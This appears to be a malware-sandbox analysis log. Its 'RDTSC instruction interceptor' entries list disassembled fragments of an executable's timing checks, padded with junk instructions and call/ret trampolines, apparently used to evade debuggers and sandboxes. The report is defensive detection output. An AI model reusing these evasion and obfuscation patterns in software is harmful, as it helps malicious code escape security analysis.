Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EBB08B second address: EBB0C3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], ebx 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007F5060CC42C8h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 00000017h 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jne 00007F5060CC42CCh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EBB28A second address: EBB29A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5060E412ECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EBB3C1 second address: EBB3C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EBB3C5 second address: EBB3DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5060E412EDh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EBC65A second address: EBC6A7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 sub si, 725Bh 0x0000000d push 00000000h 0x0000000f mov esi, dword ptr [ebp+122D2D1Ah] 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ebp 0x0000001a call 00007F5060CC42C8h 0x0000001f pop ebp 0x00000020 mov dword ptr [esp+04h], ebp 0x00000024 add dword ptr [esp+04h], 00000017h 0x0000002c inc ebp 0x0000002d push ebp 0x0000002e ret 0x0000002f pop ebp 0x00000030 ret 0x00000031 jno 00007F5060CC42CCh 0x00000037 mov dword ptr [ebp+122D3012h], ecx 0x0000003d push eax 0x0000003e push esi 0x0000003f pushad 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EBC6A7 second address: EBC6AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EBE07E second address: EBE084 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EBCF35 second address: EBCF3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EBE084 second address: EBE08A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EBE08A second address: EBE103 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F5060E412F5h 0x0000000e nop 0x0000000f jnp 00007F5060E412E9h 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push edx 0x0000001a call 00007F5060E412E8h 0x0000001f pop edx 0x00000020 mov dword ptr [esp+04h], edx 0x00000024 add dword ptr [esp+04h], 0000001Bh 0x0000002c inc edx 0x0000002d push edx 0x0000002e ret 0x0000002f pop edx 0x00000030 ret 0x00000031 xor esi, dword ptr [ebp+122D2CA6h] 0x00000037 push 00000000h 0x00000039 mov esi, dword ptr [ebp+122D1FEDh] 0x0000003f xchg eax, ebx 0x00000040 jns 00007F5060E412EEh 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 jng 00007F5060E412ECh 0x0000004f rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EBE103 second address: EBE109 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EBEC1F second address: EBEC36 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5060E412ECh 0x00000008 jnc 00007F5060E412E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EBEC36 second address: EBEC3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EBEC3A second address: EBEC44 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5060E412E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EBE956 second address: EBE967 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060CC42CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EBF6CF second address: EBF6DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC10B2 second address: EC10B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: E86AF9 second address: E86B1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F5060E412F0h 0x0000000c pop ecx 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 je 00007F5060E412ECh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: E86B1D second address: E86B42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F5060CC42E1h 0x0000000a jne 00007F5060CC42C6h 0x00000010 jmp 00007F5060CC42D5h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: E86B42 second address: E86B48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: E86B48 second address: E86B4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC2269 second address: EC226D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC63C5 second address: EC63C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC63C9 second address: EC63CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC735F second address: EC7363 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC7363 second address: EC7367 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC7367 second address: EC73E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a sub edi, dword ptr [ebp+122D2DFEh] 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 call 00007F5060CC42C8h 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], edi 0x0000001f add dword ptr [esp+04h], 0000001Ah 0x00000027 inc edi 0x00000028 push edi 0x00000029 ret 0x0000002a pop edi 0x0000002b ret 0x0000002c mov dword ptr [ebp+122D2A36h], edi 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ebp 0x00000037 call 00007F5060CC42C8h 0x0000003c pop ebp 0x0000003d mov dword ptr [esp+04h], ebp 0x00000041 add dword ptr [esp+04h], 0000001Dh 0x00000049 inc ebp 0x0000004a push ebp 0x0000004b ret 0x0000004c pop ebp 0x0000004d ret 0x0000004e mov ebx, 37BC18CCh 0x00000053 jmp 00007F5060CC42CEh 0x00000058 push eax 0x00000059 push eax 0x0000005a push edx 0x0000005b push edi 0x0000005c jnp 00007F5060CC42C6h 0x00000062 pop edi 0x00000063 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC73E6 second address: EC73F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F5060E412E6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC553D second address: EC5541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC836C second address: EC8370 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC913C second address: EC9142 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC8370 second address: EC8376 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC8376 second address: EC83F5 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5060CC42C8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d sub dword ptr [ebp+122D1AE2h], ecx 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov ebx, dword ptr [ebp+122D2C7Ah] 0x00000020 cmc 0x00000021 mov dword ptr fs:[00000000h], esp 0x00000028 mov bx, di 0x0000002b mov eax, dword ptr [ebp+122D0655h] 0x00000031 push 00000000h 0x00000033 push edi 0x00000034 call 00007F5060CC42C8h 0x00000039 pop edi 0x0000003a mov dword ptr [esp+04h], edi 0x0000003e add dword ptr [esp+04h], 00000017h 0x00000046 inc edi 0x00000047 push edi 0x00000048 ret 0x00000049 pop edi 0x0000004a ret 0x0000004b or dword ptr [ebp+122D2EDEh], edi 0x00000051 push FFFFFFFFh 0x00000053 push 00000000h 0x00000055 push esi 0x00000056 call 00007F5060CC42C8h 0x0000005b pop esi 0x0000005c mov dword ptr [esp+04h], esi 0x00000060 add dword ptr [esp+04h], 00000018h 0x00000068 inc esi 0x00000069 push esi 0x0000006a ret 0x0000006b pop esi 0x0000006c ret 0x0000006d push eax 0x0000006e push ecx 0x0000006f pushad 0x00000070 pushad 0x00000071 popad 0x00000072 push eax 0x00000073 push edx 0x00000074 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC936A second address: EC936F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: ECA21E second address: ECA222 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: ECA222 second address: ECA294 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F5060E412F2h 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007F5060E412E8h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 jns 00007F5060E412E6h 0x0000002d push 00000000h 0x0000002f mov edi, ecx 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push ebx 0x00000036 call 00007F5060E412E8h 0x0000003b pop ebx 0x0000003c mov dword ptr [esp+04h], ebx 0x00000040 add dword ptr [esp+04h], 00000015h 0x00000048 inc ebx 0x00000049 push ebx 0x0000004a ret 0x0000004b pop ebx 0x0000004c ret 0x0000004d push edi 0x0000004e and edi, dword ptr [ebp+122D2BEEh] 0x00000054 pop ebx 0x00000055 xchg eax, esi 0x00000056 push ebx 0x00000057 push eax 0x00000058 push edx 0x00000059 jc 00007F5060E412E6h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: ECC3B0 second address: ECC3B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: ECD25B second address: ECD260 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: ECC575 second address: ECC579 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: ECD260 second address: ECD296 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060E412F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jmp 00007F5060E412F6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: ECE312 second address: ECE31C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F5060CC42C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: ECE31C second address: ECE391 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jnl 00007F5060E412ECh 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007F5060E412E8h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d call 00007F5060E412F3h 0x00000032 pushad 0x00000033 sub edx, dword ptr [ebp+122D2BDEh] 0x00000039 xor dword ptr [ebp+12445098h], edi 0x0000003f popad 0x00000040 pop edi 0x00000041 call 00007F5060E412EAh 0x00000046 xor bl, FFFFFFA3h 0x00000049 pop ebx 0x0000004a push 00000000h 0x0000004c push eax 0x0000004d push ebx 0x0000004e push eax 0x0000004f push edx 0x00000050 jg 00007F5060E412E6h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: ECE391 second address: ECE395 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: ECF2D2 second address: ECF2DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: ECF2DD second address: ECF2EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: ECF2EA second address: ECF2EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: ECF2EE second address: ECF2F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: ECD4EC second address: ECD4F6 instructions: 0x00000000 rdtsc 0x00000002 js 00007F5060E412E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: ECE47A second address: ECE47F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: ECF2F2 second address: ECF37C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jbe 00007F5060E412E6h 0x0000000d jmp 00007F5060E412F5h 0x00000012 popad 0x00000013 popad 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push esi 0x00000018 call 00007F5060E412E8h 0x0000001d pop esi 0x0000001e mov dword ptr [esp+04h], esi 0x00000022 add dword ptr [esp+04h], 0000001Dh 0x0000002a inc esi 0x0000002b push esi 0x0000002c ret 0x0000002d pop esi 0x0000002e ret 0x0000002f xor bx, 2EBAh 0x00000034 push 00000000h 0x00000036 movzx edi, ax 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push ebp 0x0000003e call 00007F5060E412E8h 0x00000043 pop ebp 0x00000044 mov dword ptr [esp+04h], ebp 0x00000048 add dword ptr [esp+04h], 00000018h 0x00000050 inc ebp 0x00000051 push ebp 0x00000052 ret 0x00000053 pop ebp 0x00000054 ret 0x00000055 movsx ebx, di 0x00000058 push eax 0x00000059 push esi 0x0000005a push eax 0x0000005b push edx 0x0000005c jmp 00007F5060E412EDh 0x00000061 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: ECE47F second address: ECE510 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov edi, dword ptr [ebp+122D2BB6h] 0x00000010 jmp 00007F5060CC42D3h 0x00000015 push dword ptr fs:[00000000h] 0x0000001c mov bh, ah 0x0000001e mov dword ptr fs:[00000000h], esp 0x00000025 jmp 00007F5060CC42D2h 0x0000002a mov eax, dword ptr [ebp+122D0449h] 0x00000030 push ebx 0x00000031 jns 00007F5060CC42CCh 0x00000037 pop ebx 0x00000038 push FFFFFFFFh 0x0000003a push 00000000h 0x0000003c push edx 0x0000003d call 00007F5060CC42C8h 0x00000042 pop edx 0x00000043 mov dword ptr [esp+04h], edx 0x00000047 add dword ptr [esp+04h], 0000001Ah 0x0000004f inc edx 0x00000050 push edx 0x00000051 ret 0x00000052 pop edx 0x00000053 ret 0x00000054 mov edi, dword ptr [ebp+122D1F2Eh] 0x0000005a push eax 0x0000005b pushad 0x0000005c push ebx 0x0000005d push esi 0x0000005e pop esi 0x0000005f pop ebx 0x00000060 push eax 0x00000061 push edx 0x00000062 jo 00007F5060CC42C6h 0x00000068 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: ED02F6 second address: ED030A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jnp 00007F5060E412E8h 0x0000000f push edi 0x00000010 pop edi 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: ED0544 second address: ED0548 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: ED0548 second address: ED054E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: ED3411 second address: ED3431 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F5060CC42D9h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: ED15DE second address: ED15E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: ED4C9E second address: ED4CA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: ED4CA4 second address: ED4CAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F5060E412E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: ED4CAE second address: ED4CC0 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5060CC42C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EDABB9 second address: EDABBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EDABBD second address: EDABE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jnp 00007F5060CC42C6h 0x0000000d pop edx 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 jmp 00007F5060CC42D1h 0x00000016 je 00007F5060CC42CCh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EDD7E9 second address: EDD80F instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5060E412E6h 0x00000008 jmp 00007F5060E412F2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jng 00007F5060E412E6h 0x00000017 push edx 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EDD80F second address: EDD819 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5060CC42C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EDD819 second address: EDD827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F5060E412F9h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EDD827 second address: EDD84E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5060CC42CDh 0x00000009 pushad 0x0000000a jmp 00007F5060CC42D3h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EDD84E second address: EDD854 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EDD854 second address: EDD85A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EDD9BF second address: EDD9CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jbe 00007F5060E412E6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EDD9CC second address: EDD9E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060CC42D4h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EDD9E6 second address: EDD9EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EDDBD8 second address: EDDBEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edi 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jnp 00007F5060CC42C6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EDDBEB second address: EDDBF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EDDBF4 second address: EDDC15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060CC42D7h 0x00000007 jbe 00007F5060CC42C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EE4F29 second address: EE4F36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
